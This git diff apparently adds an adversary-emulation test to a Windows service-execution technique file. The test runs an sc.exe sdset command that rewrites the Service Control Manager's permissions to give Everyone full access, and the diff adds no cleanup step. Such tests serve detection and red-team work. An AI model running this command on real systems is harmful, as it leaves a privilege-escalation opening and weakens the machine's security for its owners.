diff --git a/atomics/T1569.002/T1569.002.yaml b/atomics/T1569.002/T1569.002.yaml index 23f4c35d..b39d6c20 100644 --- a/atomics/T1569.002/T1569.002.yaml +++ b/atomics/T1569.002/T1569.002.yaml @@ -194,4 +194,15 @@ atomic_tests: cleanup_command: | sc.exe delete "WerFaultSvc" name: command_prompt - elevation_required: true \ No newline at end of file + elevation_required: true +- name: Modifying ACL of Service Control Manager via SDET + description: | + Modify permissions of Service Control Manager via SDSET. This allows any administrative user to escalate privilege and create a service with SYSTEM level privileges.Restart is required. + [Blog](https://0xv1n.github.io/posts/scmanager/) + supported_platforms: + - windows + executor: + command: | + sc.exe sdset scmanager D:(A;;KA;;;WD) + name: command_prompt + elevation_required: true